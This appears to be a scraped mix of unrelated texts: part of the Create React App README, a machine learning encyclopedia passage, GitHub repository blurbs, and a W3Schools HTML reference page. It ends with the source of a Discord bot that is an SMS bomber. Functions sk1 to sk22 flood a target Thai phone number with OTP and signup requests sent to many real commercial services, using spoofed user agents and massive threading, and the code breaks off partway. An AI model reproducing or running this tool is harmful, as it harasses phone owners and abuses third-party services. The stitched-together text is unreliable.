analytics.disable(); } ``` ## Integrating with a Node Backend Check out [this tutorial](https://www.fullstackreact.com/articles/using-create-react-app-with-a-server/) for instructions on integrating an app with a Node backend running on another port, and using `fetch()` to access it. You can find the companion GitHub repository [here](https://github.com/fullstackreact/food-lookup-demo). ## Proxying API Requests in Development >Note: this feature is available with `react-scripts@0.2.3` and higher. People often serve the front-end React app from the same host and port as their backend implementation. For example, a production setup might look like this after the app is deployed: ``` / - static server returns index.html with React app /todos - static server returns index.html with React app /api/todos - server handles any /api/* requests using the backend implementation ``` Such setup is **not** required. However, if you **do** have a setup like this, it is convenient to write requests like `fetch('/api/todos')` without worrying about redirecting them to another host or port during development. To tell the development server to proxy any unknown requests to your API server in development, add a `proxy` field to your `package.json`, for example: ```js "proxy": "http://localhost:4000", ``` This way, when you `fetch('/api/todos')` in development, the development server will recognize that it’s not a static asset, and will proxy your request to `http://localhost:4000/api/todos` as a fallback. Conveniently, this avoids [CORS issues](http://stackoverflow.com/questions/21854516/understanding-ajax-cors-and-security-considerations) and error messages like this in development: ``` Fetch API cannot load http://localhost:4000/api/todos. No 'Access-Control-Allow-Origin' header is present on the requested resource. Origin 'http://localhost:3000' is therefore not allowed access. If an opaque response serves your needs, set the request's mode to 'no-cors' to fetch the resource with CORS disabled. ``` Keep in mind that `proxy` only has effect in development (with `npm start`), and it is up to you to ensure that URLs like `/api/todos` point to the right thing in production. You don’t have to use the `/api` prefix. Any unrecognized request will be redirected to the specified `proxy`. Currently the `proxy` option only handles HTTP requests, and it won’t proxy WebSocket connections. If the `proxy` option is **not** flexible enough for you, alternatively you can: * Enable CORS on your server ([here’s how to do it for Express](http://enable-cors.org/server_expressjs.html)). * Use [environment variables](#adding-custom-environment-variables) to inject the right server host and port into your app. ## Deployment By default, Create React App produces a build assuming your app is hosted at the server root. To override this, specify the `homepage` in your `package.json`, for example: ```js "homepage": "http://mywebsite.com/relativepath", ``` This will let Create React App correctly infer the root path to use in the generated HTML file. ### Now See [this example](https://github.com/xkawi/create-react-app-now) for a zero-configuration single-command deployment with [now](https://zeit.co/now). ### Heroku Use the [Heroku Buildpack for Create React App](https://github.com/mars/create-react-app-buildpack). You can find instructions in [Deploying React with Zero Configuration](https://blog.heroku.com/deploying-react-with-zero-configuration). ### Surge Install the Surge CLI if you haven't already by running `npm install -g surge`. Run the `surge` command and log in you or create a new account. You just need to specify the *build* folder and your custom domain, and you are done. ```sh email: email@domain.com password: ******** project path: /path/to/project/build size: 7 files, 1.8 MB domain: create-react-app.surge.sh upload: [====================] 100%, eta: 0.0s propagate on CDN: [====================] 100% plan: Free users: email@domain.com IP Address: X.X.X.X Success! Project is published and running at create-react-app.surge.sh ``` Note that in order to support routers that use html5 `pushState` API, you may want to rename the `index.html` in your build folder to `200.html` before deploying to Surge. This [ensures that every URL falls back to that file](https://surge.sh/help/adding-a-200-page-for-client-side-routing). ### GitHub Pages >Note: this feature is available with `react-scripts@0.2.0` and higher. Open your `package.json` and add a `homepage` field: ```js "homepage": "http://myusername.github.io/my-app", ``` **The above step is important!** Create React App uses the `homepage` field to determine the root URL in the built HTML file. Now, whenever you run `npm run build`, you will see a cheat sheet with a sequence of commands to deploy to GitHub pages: ```sh git commit -am "Save local changes" git checkout -B gh-pages git add -f build git commit -am "Rebuild website" git filter-branch -f --prune-empty --subdirectory-filter build git push -f origin gh-pages git checkout - ``` You may copy and paste them, or put them into a custom shell script. You may also customize them for another hosting provider. Note that GitHub Pages doesn't support routers that use the HTML5 `pushState` history API under the hood (for example, React Router using `browserHistory`). This is because when there is a fresh page load for a url like `http://user.github.io/todomvc/todos/42`, where `/todos/42` is a frontend route, the GitHub Pages server returns 404 because it knows nothing of `/todos/42`. If you want to add a router to a project hosted on GitHub Pages, here are a couple of solutions: * You could switch from using HTML5 history API to routing with hashes. If you use React Router, you can switch to `hashHistory` for this effect, but the URL will be longer and more verbose (for example, `http://user.github.io/todomvc/#/todos/42?_k=yknaj`). [Read more](https://github.com/reactjs/react-router/blob/master/docs/guides/Histories.md#histories) about different history implementations in React Router. * Alternatively, you can use a trick to teach GitHub Pages to handle 404 by redirecting to your `index.html` page with a special redirect parameter. You would need to add a `404.html` file with the redirection code to the `build` folder before deploying your project, and you’ll need to add code handling the redirect parameter to `index.html`. You can find a detailed explanation of this technique [in this guide](https://github.com/rafrex/spa-github-pages). ## Something Missing? If you have ideas for more “How To” recipes that should be on this page, [let us know](https://github.com/facebookincubator/create-react-app/issues) or [contribute some!](https://github.com/facebookincubator/create-react-app/edit/master/template/README.md)
Aryia-Behroziuan / NeuronsAn ANN is a model based on a collection of connected units or nodes called "artificial neurons", which loosely model the neurons in a biological brain. Each connection, like the synapses in a biological brain, can transmit information, a "signal", from one artificial neuron to another. An artificial neuron that receives a signal can process it and then signal additional artificial neurons connected to it. In common ANN implementations, the signal at a connection between artificial neurons is a real number, and the output of each artificial neuron is computed by some non-linear function of the sum of its inputs. The connections between artificial neurons are called "edges". Artificial neurons and edges typically have a weight that adjusts as learning proceeds. The weight increases or decreases the strength of the signal at a connection. Artificial neurons may have a threshold such that the signal is only sent if the aggregate signal crosses that threshold. Typically, artificial neurons are aggregated into layers. Different layers may perform different kinds of transformations on their inputs. Signals travel from the first layer (the input layer) to the last layer (the output layer), possibly after traversing the layers multiple times. The original goal of the ANN approach was to solve problems in the same way that a human brain would. However, over time, attention moved to performing specific tasks, leading to deviations from biology. Artificial neural networks have been used on a variety of tasks, including computer vision, speech recognition, machine translation, social network filtering, playing board and video games and medical diagnosis. Deep learning consists of multiple hidden layers in an artificial neural network. This approach tries to model the way the human brain processes light and sound into vision and hearing. Some successful applications of deep learning are computer vision and speech recognition.[68] Decision trees Main article: Decision tree learning Decision tree learning uses a decision tree as a predictive model to go from observations about an item (represented in the branches) to conclusions about the item's target value (represented in the leaves). It is one of the predictive modeling approaches used in statistics, data mining, and machine learning. Tree models where the target variable can take a discrete set of values are called classification trees; in these tree structures, leaves represent class labels and branches represent conjunctions of features that lead to those class labels. Decision trees where the target variable can take continuous values (typically real numbers) are called regression trees. In decision analysis, a decision tree can be used to visually and explicitly represent decisions and decision making. In data mining, a decision tree describes data, but the resulting classification tree can be an input for decision making. Support vector machines Main article: Support vector machines Support vector machines (SVMs), also known as support vector networks, are a set of related supervised learning methods used for classification and regression. Given a set of training examples, each marked as belonging to one of two categories, an SVM training algorithm builds a model that predicts whether a new example falls into one category or the other.[69] An SVM training algorithm is a non-probabilistic, binary, linear classifier, although methods such as Platt scaling exist to use SVM in a probabilistic classification setting. In addition to performing linear classification, SVMs can efficiently perform a non-linear classification using what is called the kernel trick, implicitly mapping their inputs into high-dimensional feature spaces. Illustration of linear regression on a data set. Regression analysis Main article: Regression analysis Regression analysis encompasses a large variety of statistical methods to estimate the relationship between input variables and their associated features. Its most common form is linear regression, where a single line is drawn to best fit the given data according to a mathematical criterion such as ordinary least squares. The latter is often extended by regularization (mathematics) methods to mitigate overfitting and bias, as in ridge regression. When dealing with non-linear problems, go-to models include polynomial regression (for example, used for trendline fitting in Microsoft Excel[70]), logistic regression (often used in statistical classification) or even kernel regression, which introduces non-linearity by taking advantage of the kernel trick to implicitly map input variables to higher-dimensional space. Bayesian networks Main article: Bayesian network A simple Bayesian network. Rain influences whether the sprinkler is activated, and both rain and the sprinkler influence whether the grass is wet. A Bayesian network, belief network, or directed acyclic graphical model is a probabilistic graphical model that represents a set of random variables and their conditional independence with a directed acyclic graph (DAG). For example, a Bayesian network could represent the probabilistic relationships between diseases and symptoms. Given symptoms, the network can be used to compute the probabilities of the presence of various diseases. Efficient algorithms exist that perform inference and learning. Bayesian networks that model sequences of variables, like speech signals or protein sequences, are called dynamic Bayesian networks. Generalizations of Bayesian networks that can represent and solve decision problems under uncertainty are called influence diagrams. Genetic algorithms Main article: Genetic algorithm A genetic algorithm (GA) is a search algorithm and heuristic technique that mimics the process of natural selection, using methods such as mutation and crossover to generate new genotypes in the hope of finding good solutions to a given problem. In machine learning, genetic algorithms were used in the 1980s and 1990s.[71][72] Conversely, machine learning techniques have been used to improve the performance of genetic and evolutionary algorithms.[73] Training models Usually, machine learning models require a lot of data in order for them to perform well. Usually, when training a machine learning model, one needs to collect a large, representative sample of data from a training set. Data from the training set can be as varied as a corpus of text, a collection of images, and data collected from individual users of a service. Overfitting is something to watch out for when training a machine learning model. Federated learning Main article: Federated learning Federated learning is an adapted form of distributed artificial intelligence to training machine learning models that decentralizes the training process, allowing for users' privacy to be maintained by not needing to send their data to a centralized server. This also increases efficiency by decentralizing the training process to many devices. For example, Gboard uses federated machine learning to train search query prediction models on users' mobile phones without having to send individual searches back to Google.[74] Applications There are many applications for machine learning, including: Agriculture Anatomy Adaptive websites Affective computing Banking Bioinformatics Brain–machine interfaces Cheminformatics Citizen science Computer networks Computer vision Credit-card fraud detection Data quality DNA sequence classification Economics Financial market analysis[75] General game playing Handwriting recognition Information retrieval Insurance Internet fraud detection Linguistics Machine learning control Machine perception Machine translation Marketing Medical diagnosis Natural language processing Natural language understanding Online advertising Optimization Recommender systems Robot locomotion Search engines Sentiment analysis Sequence mining Software engineering Speech recognition Structural health monitoring Syntactic pattern recognition Telecommunication Theorem proving Time series forecasting User behavior analytics In 2006, the media-services provider Netflix held the first "Netflix Prize" competition to find a program to better predict user preferences and improve the accuracy of its existing Cinematch movie recommendation algorithm by at least 10%. A joint team made up of researchers from AT&T Labs-Research in collaboration with the teams Big Chaos and Pragmatic Theory built an ensemble model to win the Grand Prize in 2009 for $1 million.[76] Shortly after the prize was awarded, Netflix realized that viewers' ratings were not the best indicators of their viewing patterns ("everything is a recommendation") and they changed their recommendation engine accordingly.[77] In 2010 The Wall Street Journal wrote about the firm Rebellion Research and their use of machine learning to predict the financial crisis.[78] In 2012, co-founder of Sun Microsystems, Vinod Khosla, predicted that 80% of medical doctors' jobs would be lost in the next two decades to automated machine learning medical diagnostic software.[79] In 2014, it was reported that a machine learning algorithm had been applied in the field of art history to study fine art paintings and that it may have revealed previously unrecognized influences among artists.[80] In 2019 Springer Nature published the first research book created using machine learning.[81] Limitations Although machine learning has been transformative in some fields, machine-learning programs often fail to deliver expected results.[82][83][84] Reasons for this are numerous: lack of (suitable) data, lack of access to the data, data bias, privacy problems, badly chosen tasks and algorithms, wrong tools and people, lack of resources, and evaluation problems.[85] In 2018, a self-driving car from Uber failed to detect a pedestrian, who was killed after a collision.[86] Attempts to use machine learning in healthcare with the IBM Watson system failed to deliver even after years of time and billions of dollars invested.[87][88] Bias Main article: Algorithmic bias Machine learning approaches in particular can suffer from different data biases. A machine learning system trained on current customers only may not be able to predict the needs of new customer groups that are not represented in the training data. When trained on man-made data, machine learning is likely to pick up the same constitutional and unconscious biases already present in society.[89] Language models learned from data have been shown to contain human-like biases.[90][91] Machine learning systems used for criminal risk assessment have been found to be biased against black people.[92][93] In 2015, Google photos would often tag black people as gorillas,[94] and in 2018 this still was not well resolved, but Google reportedly was still using the workaround to remove all gorillas from the training data, and thus was not able to recognize real gorillas at all.[95] Similar issues with recognizing non-white people have been found in many other systems.[96] In 2016, Microsoft tested a chatbot that learned from Twitter, and it quickly picked up racist and sexist language.[97] Because of such challenges, the effective use of machine learning may take longer to be adopted in other domains.[98] Concern for fairness in machine learning, that is, reducing bias in machine learning and propelling its use for human good is increasingly expressed by artificial intelligence scientists, including Fei-Fei Li, who reminds engineers that "There’s nothing artificial about AI...It’s inspired by people, it’s created by people, and—most importantly—it impacts people. It is a powerful tool we are only just beginning to understand, and that is a profound responsibility.”[99] Model assessments Classification of machine learning models can be validated by accuracy estimation techniques like the holdout method, which splits the data in a training and test set (conventionally 2/3 training set and 1/3 test set designation) and evaluates the performance of the training model on the test set. In comparison, the K-fold-cross-validation method randomly partitions the data into K subsets and then K experiments are performed each respectively considering 1 subset for evaluation and the remaining K-1 subsets for training the model. In addition to the holdout and cross-validation methods, bootstrap, which samples n instances with replacement from the dataset, can be used to assess model accuracy.[100] In addition to overall accuracy, investigators frequently report sensitivity and specificity meaning True Positive Rate (TPR) and True Negative Rate (TNR) respectively. Similarly, investigators sometimes report the false positive rate (FPR) as well as the false negative rate (FNR). However, these rates are ratios that fail to reveal their numerators and denominators. The total operating characteristic (TOC) is an effective method to express a model's diagnostic ability. TOC shows the numerators and denominators of the previously mentioned rates, thus TOC provides more information than the commonly used receiver operating characteristic (ROC) and ROC's associated area under the curve (AUC).[101] Ethics Machine learning poses a host of ethical questions. Systems which are trained on datasets collected with biases may exhibit these biases upon use (algorithmic bias), thus digitizing cultural prejudices.[102] For example, using job hiring data from a firm with racist hiring policies may lead to a machine learning system duplicating the bias by scoring job applicants against similarity to previous successful applicants.[103][104] Responsible collection of data and documentation of algorithmic rules used by a system thus is a critical part of machine learning. Because human languages contain biases, machines trained on language corpora will necessarily also learn these biases.[105][106] Other forms of ethical challenges, not related to personal biases, are more seen in health care. There are concerns among health care professionals that these systems might not be designed in the public's interest but as income-generating machines. This is especially true in the United States where there is a long-standing ethical dilemma of improving health care, but also increasing profits. For example, the algorithms could be designed to provide patients with unnecessary tests or medication in which the algorithm's proprietary owners hold stakes. There is huge potential for machine learning in health care to provide professionals a great tool to diagnose, medicate, and even plan recovery paths for patients, but this will not happen until the personal biases mentioned previously, and these "greed" biases are addressed.[107] Hardware Since the 2010s, advances in both machine learning algorithms and computer hardware have led to more efficient methods for training deep neural networks (a particular narrow subdomain of machine learning) that contain many layers of non-linear hidden units.[108] By 2019, graphic processing units (GPUs), often with AI-specific enhancements, had displaced CPUs as the dominant method of training large-scale commercial cloud AI.[109] OpenAI estimated the hardware compute used in the largest deep learning projects from AlexNet (2012) to AlphaZero (2017), and found a 300,000-fold increase in the amount of compute required, with a doubling-time trendline of 3.4 months.[110][111] Software Software suites containing a variety of machine learning algorithms include the following: Free and open-source so
generateme / FitdistrFit distributions with mle, mge, mme and qme methods (+ bootstrap)
kengz / Telegram Bot BootstrapA bootstrap for Telegram bot with deployable sample bot and JS-wrapped API methods.
SachaEpskamp / BootnetBootstrap methods for various network estimation routines
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Previous</span></a> <a class="w3-btn" href="default.asp"><span class="w3-hide-small">Complete HTML </span>Reference</a> <a class="w3-right w3-btn" href="tag_param.asp"><span class="w3-hide-small">Next </span>❯</a> </div> <br> <div class="w3-example"> <h3>Example</h3> <p>A paragraph is marked up as follows:</p> <div class="w3-code notranslate htmlHigh"> <span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue"><</span>p<span class="tagcolor" style="color:mediumblue">></span></span>This is some text in a paragraph.<span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue"><</span>/p<span class="tagcolor" style="color:mediumblue">></span></span> </div> <a target="_blank" href="tryit.asp?filename=tryhtml_paragraphs1" class="w3-btn w3-margin-bottom">Try it Yourself »</a> </div> <p>More "Try it Yourself" examples below.</p> <hr> <h2>Definition and Usage</h2> <p>The <code class="w3-codespan"><p></code> tag defines a paragraph.</p> <p>Browsers automatically add a single blank line before and after each <code class="w3-codespan"><p></code> element.</p> <p><strong>Tip:</strong> Use CSS to <a href="/html/html_css.asp">style paragraphs</a>.</p> <hr> <h2>Browser Support</h2> <table class="browserref notranslate"> <tbody><tr> <th style="width:20%;font-size:16px;text-align:left;">Element</th> <th style="width:16%;" class="bsChrome" title="Chrome"></th> <th style="width:16%;" class="bsEdge" title="Internet Explorer / Edge"></th> <th style="width:16%;" class="bsFirefox" title="Firefox"></th> <th style="width:16%;" class="bsSafari" title="Safari"></th> <th style="width:16%;" class="bsOpera" title="Opera"></th> </tr><tr> <td style="text-align:left;"><p></td> <td>Yes</td> <td>Yes</td> <td>Yes</td> <td>Yes</td> <td>Yes</td> </tr> </tbody></table> <hr> <h2>Global Attributes</h2> <p>The <code class="w3-codespan"><p></code> tag also supports the <a href="ref_standardattributes.asp">Global Attributes in HTML</a>.</p> <hr> <h2>Event Attributes</h2> <p>The <code class="w3-codespan"><p></code> tag also supports the <a href="ref_eventattributes.asp">Event Attributes in HTML</a>.</p> <hr> <div id="midcontentadcontainer" style="overflow:auto;text-align:center"> <!-- MidContent --> <!-- <p class="adtext">Advertisement</p> --> <div id="adngin-mid_content-0" data-google-query-id="CKfs_8ueqvcCFXiOSwUd2fYBLg"><div id="sn_ad_label_adngin-mid_content-0" class="sn_ad_label" style="color:#000000;font-size:12px;margin:0;text-align:center;">ADVERTISEMENT</div><div id="google_ads_iframe_/22152718,16833175/sws-hb//w3schools.com//mid_content_1__container__" style="border: 0pt none; display: inline-block; width: 300px; height: 250px;"><iframe frameborder="0" src="https://56d0da6c34aaa471db22bb4266aac656.safeframe.googlesyndication.com/safeframe/1-0-38/html/container.html" id="google_ads_iframe_/22152718,16833175/sws-hb//w3schools.com//mid_content_1" title="3rd party ad content" name="" scrolling="no" marginwidth="0" marginheight="0" width="300" height="250" data-is-safeframe="true" sandbox="allow-forms allow-popups allow-popups-to-escape-sandbox allow-same-origin allow-scripts allow-top-navigation-by-user-activation" role="region" aria-label="Advertisement" tabindex="0" data-google-container-id="8" style="border: 0px; vertical-align: bottom;" data-load-complete="true"></iframe></div></div> </div> <hr> <h2>More Examples</h2> <div class="w3-example"> <h3>Example</h3> <p>Align text in a paragraph (with CSS):</p> <div class="w3-code notranslate htmlHigh"> <span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue"><</span>p<span class="attributecolor" style="color:red"> style<span class="attributevaluecolor" style="color:mediumblue">="text-align:right"</span></span><span class="tagcolor" style="color:mediumblue">></span></span>This is some text in a paragraph.<span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue"><</span>/p<span class="tagcolor" style="color:mediumblue">></span></span> </div> <a target="_blank" href="tryit.asp?filename=tryhtml_p_align_css" class="w3-btn w3-margin-bottom">Try it Yourself »</a> </div> <div class="w3-example"> <h3>Example</h3> <p>Style paragraphs with CSS:</p> <div class="w3-code notranslate htmlHigh"> <span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue"><</span>html<span class="tagcolor" style="color:mediumblue">></span></span><br><span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue"><</span>head<span class="tagcolor" style="color:mediumblue">></span></span><br><span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue"><</span>style<span class="tagcolor" style="color:mediumblue">></span></span><span class="cssselectorcolor" style="color:brown"><br>p <span class="cssdelimitercolor" style="color:black">{</span><span class="csspropertycolor" style="color:red"><br> color<span class="csspropertyvaluecolor" style="color:mediumblue"><span class="cssdelimitercolor" style="color:black">:</span> navy<span class="cssdelimitercolor" style="color:black">;</span></span><br> text-indent<span class="csspropertyvaluecolor" style="color:mediumblue"><span class="cssdelimitercolor" style="color:black">:</span> 30px<span class="cssdelimitercolor" style="color:black">;</span></span><br> text-transform<span class="csspropertyvaluecolor" style="color:mediumblue"><span class="cssdelimitercolor" style="color:black">:</span> uppercase<span class="cssdelimitercolor" style="color:black">;</span></span><br></span><span class="cssdelimitercolor" style="color:black">}</span><br></span><span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue"><</span>/style<span class="tagcolor" style="color:mediumblue">></span></span><br> <span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue"><</span>/head<span class="tagcolor" style="color:mediumblue">></span></span><br><span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue"><</span>body<span class="tagcolor" style="color:mediumblue">></span></span><br><br><span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue"><</span>p<span class="tagcolor" style="color:mediumblue">></span></span>Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.<span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue"><</span>/p<span class="tagcolor" style="color:mediumblue">></span></span><br><br><span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue"><</span>/body<span class="tagcolor" style="color:mediumblue">></span></span><br><span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue"><</span>/html<span class="tagcolor" style="color:mediumblue">></span></span> </div> <a target="_blank" href="tryit.asp?filename=tryhtml_p_style_css" class="w3-btn w3-margin-bottom">Try it Yourself »</a> </div> <div class="w3-example"> <h3>Example</h3> <p> More on paragraphs:</p> <div class="w3-code notranslate htmlHigh"> <span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue"><</span>p<span class="tagcolor" style="color:mediumblue">></span></span><br>This paragraph<br>contains a lot of lines<br>in the source code,<br> but the browser <br>ignores it.<br><span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue"><</span>/p<span class="tagcolor" style="color:mediumblue">></span></span> </div> <a target="_blank" href="tryit.asp?filename=tryhtml_paragraphs2" class="w3-btn w3-margin-bottom">Try it Yourself »</a> </div> <div class="w3-example"> <h3>Example</h3> <p>Poem problems in HTML:</p> <div class="w3-code notranslate htmlHigh"> <span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue"><</span>p<span class="tagcolor" style="color:mediumblue">></span></span><br>My Bonnie lies over the ocean.<br>My Bonnie lies over the sea.<br>My Bonnie lies over the ocean.<br>Oh, bring back my Bonnie to me.<br><span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue"><</span>/p<span class="tagcolor" style="color:mediumblue">></span></span> </div> <a target="_blank" href="tryit.asp?filename=tryhtml_poem" class="w3-btn w3-margin-bottom">Try it Yourself »</a> </div> <hr> <h2>Related Pages</h2> <p>HTML tutorial: <a href="/html/html_paragraphs.asp">HTML Paragraphs</a></p> <p>HTML DOM reference: <a href="/jsref/dom_obj_paragraph.asp">Paragraph Object</a></p> <hr> <h2>Default CSS Settings</h2> <p>Most browsers will display the <code class="w3-codespan"><p></code> element with the following default values:</p> <div class="w3-example"> <h3>Example</h3> <div class="w3-code notranslate cssHigh"><span class="cssselectorcolor" style="color:brown"> p <span class="cssdelimitercolor" style="color:black">{</span><span class="csspropertycolor" style="color:red"><br> display<span class="csspropertyvaluecolor" style="color:mediumblue"><span class="cssdelimitercolor" style="color:black">:</span> block<span class="cssdelimitercolor" style="color:black">;</span></span><br> margin-top<span class="csspropertyvaluecolor" style="color:mediumblue"><span class="cssdelimitercolor" style="color:black">:</span> 1em<span class="cssdelimitercolor" style="color:black">;</span></span><br> margin-bottom<span class="csspropertyvaluecolor" style="color:mediumblue"><span class="cssdelimitercolor" style="color:black">:</span> 1em<span class="cssdelimitercolor" style="color:black">;</span></span><br> margin-left<span class="csspropertyvaluecolor" style="color:mediumblue"><span class="cssdelimitercolor" style="color:black">:</span> 0<span class="cssdelimitercolor" style="color:black">;</span></span><br> margin-right<span class="csspropertyvaluecolor" style="color:mediumblue"><span class="cssdelimitercolor" style="color:black">:</span> 0<span class="cssdelimitercolor" style="color:black">;</span></span><br></span><span class="cssdelimitercolor" style="color:black">}</span> </span></div> <a target="_blank" href="tryit.asp?filename=tryhtml_p_default_css" class="w3-btn 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Godbyhub / 108apiimport os, wmi from sys import prefix from attr import validate import discord from discord.ext import commands from discord.ext import commands import discord from discord_buttons_plugin import * import requests, json, threading, requests, json, validators import requests, time, os from os import system from typing_extensions import Required import discord from discord import client from discord.utils import get import gratient from concurrent.futures import ThreadPoolExecutor from re import search from time import sleep import requests from discord import embeds from datetime import datetime from discord import message from discord.ext import commands from discord.ext.commands.core import command, has_role from requests import post, Session from re import search from random import choice from string import ascii_uppercase, digits from concurrent.futures import ThreadPoolExecutor from discord.ext import commands from json import loads, dumps, load PREFIX = 'wy.' TOKEN = '' LIMIT = 100 blacklist = [ "191", "0956150861" ] bot = commands.Bot(command_prefix=PREFIX) bot.remove_command("help") def randomString(N): return ''.join(choice(ascii_uppercase + digits) for _ in range(N)) threading = ThreadPoolExecutor(max_workers=int(100000000)) useragent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Edg/95.0.1020.40" header = {"user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Edg/95.0.1020.38"} print(gratient.black(''' ╔════════════════════════════════════════════╗ ║ .______ ______ .___________. ║ ║ | _ \ / __ \ | | ║ ║ | |_) | | | | | `---| |----` ║ ║ | _ < | | | | | | ║ ║ | |_) | | `--' | | | ║ ║ |______/ \______/ |__| ║ ╚════════════════════════════════════════════╝ ''')) @bot.event async def on_command_error(ctx, error): if isinstance(error, commands.CommandOnCooldown): await ctx.send(f"`cooldown {round(error.retry_after, 2)} seconds left`") @bot.event async def on_ready(): print(gratient.red(f"login as {bot.user}")) system('title ' + (f"{bot.user}")) def randomString(N): return ''.join(choice(ascii_uppercase + digits) for _ in range(N)) threading = ThreadPoolExecutor(max_workers=int(100000000)) useragent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Edg/95.0.1020.40" def sk1(phone): post("https://api.myfave.com/api/fave/v3/auth",headers={"client_id": "dd7a668f74f1479aad9a653412248b62", "User-Agent": useragent},json={"phone": f"66{phone}"}) def sk2(phone): post("https://u.icq.net/api/v65/rapi/auth/sendCode", headers={"User-Agent": useragent}, json={"reqId":"39816-1633012470","params":{"phone": f"+66{phone[1:]}","language":"en-US","route":"sms","devId":"ic1rtwz1s1Hj1O0r","application":"icq"}}) def sk3(phone): post("https://api2.1112.com/api/v1/otp/create", headers={"User-Agent": useragent}, data={'phonenumber': phone,'language': "th"}) def sk4(phone): post("https://ecomapi.eveandboy.com/v10/user/signup/phone", headers={"User-Agent": useragent}, data={"phone": phone,"password":"123456789Az"}) def sk5(phone): post("https://api.1112delivery.com/api/v1/otp/create", headers={"User-Agent": useragent}, data={'phonenumber': phone,'language': "th"}) def sk6(phone): post("https://gccircularlivingshop.com/sms/sendOtp", headers={"User-Agent": useragent}, json={"grant_type":"otp","username": f"+66{phone[1:]}","password":"","client":"ecommerce"}) def sk7(phone): post("https://shop.foodland.co.th/login/generation", headers={"User-Agent": useragent}, data={"phone": phone}) def sk8(phone): post("https://api-shop.diorbeauty.hk/api/th/ecrm/sms_generate_code", headers={"User-Agent": useragent}, data={"number": f"+66{phone[1:]}"}) def sk9(phone): post("https://api.sacasino9x.com/api/RegisterService/RequestOTP", headers={"User-Agent": useragent}, json={"Phone": phone}) def sk10(phone): post("https://shoponline.ondemand.in.th/OtpVerification/VerifyOTP/SendOtp", headers={"User-Agent": useragent}, data={"phone": phone}) def sk11(phone): post("https://www.konvy.com/ajax/system.php?type=reg&action=get_phone_code", headers={"User-Agent": useragent}, data={"phone": phone}) def sk12(phone): post("https://partner-api.grab.com/grabid/v1/oauth2/otp", headers={"User-Agent": useragent}, json={"client_id":"4ddf78ade8324462988fec5bfc5874c2","transaction_ctx":"null","country_code":"TH","method":"SMS","num_digits":"6","scope":"openid profile.read foodweb.order foodweb.rewards foodweb.get_enterprise_profile","phone_number": f"66{phone[1:]}"}) def sk13(phone): post("https://api.scg-id.com/api/otp/send_otp", headers={"User-Agent": useragent, "Content-Type": "application/json;charset=UTF-8"},json={"phone_no": phone}) def sk14(phone): session = Session() searchItem = session.get("https://www.shopat24.com/register/").text ReqTOKEN = search("""<input type="hidden" name="_csrf" value="(.*)" />""", searchItem).group(1) session.post("https://www.shopat24.com/register/ajax/requestotp/", headers={"User-Agent": useragent, "content-type": "application/x-www-form-urlencoded; charset=UTF-8","X-CSRF-TOKEN": ReqTOKEN}, data={"phoneNumber": phone}) def sk15(phone): post("https://prettygaming168-api.auto888.cloud/api/v3/otp/send", headers={"User-Agent": useragent}, data={"tel": phone,"otp_type":"register"}) def sk16(phone): post("https://the1web-api.the1.co.th/api/t1p/regis/requestOTP", headers={"User-Agent": useragent}, json={"on":{"value": phone,"country":"66"},"type":"mobile"}) def sk17(phone): post(f"https://th.kerryexpress.com/website-api/api/OTP/v1/RequestOTP/{phone}", headers={"User-Agent": useragent}) def sk18(phone): post("https://graph.firster.com/graphql",headers={"User-Agent": useragent, "organizationcode": "lifestyle","content-type": "application/json"}, json={"operationName":"sendOtp","variables":{"input":{"mobileNumber": phone[1:],"phoneCode":"THA-66"}},"query":"mutation sendOtp($input: SendOTPInput!) {\n sendOTPRegister(input: $input) {\n token\n otpReference\n expirationOn\n __typename\n }\n}\n"}) def sk19(phone): post("https://nocnoc.com/authentication-service/user/OTP?b-uid=1.0.661", headers={"User-Agent": useragent}, json={"lang":"th","userType":"BUYER","locale":"th","orgIdfier":"scg","phone": f"+66{phone[1:]}","type":"signup","otpTemplate":"buyer_signup_otp_message","userParams":{"buyerName": randomString(10)}}) def sk20(phone): post("https://store.boots.co.th/api/v1/guest/register/otp", headers={"User-Agent": useragent}, json={"phone_number":f"+66{phone[1:]}"}) def sk21(phone): post("https://m.lucabet168.com/api/register-otp", headers={"User-Agent": useragent} ,json={"brands_id":"609caede5a67e5001164b89d","agent_register":"60a22f7d233d2900110070d7","tel": phone}) def sk22(phone): session = Session() ReqTOKEN = session.get("https://srfng.ais.co.th/Lt6YyRR2Vvz%2B%2F6MNG9xQvVTU0rmMQ5snCwKRaK6rpTruhM%2BDAzuhRQ%3D%3D?redirect_uri=https%3A%2F%2Faisplay.ais.co.th%2Fportal%2Fcallback%2Ffungus%2Fany&httpGenerate=generated", headers={"User-Agent": useragent}).text 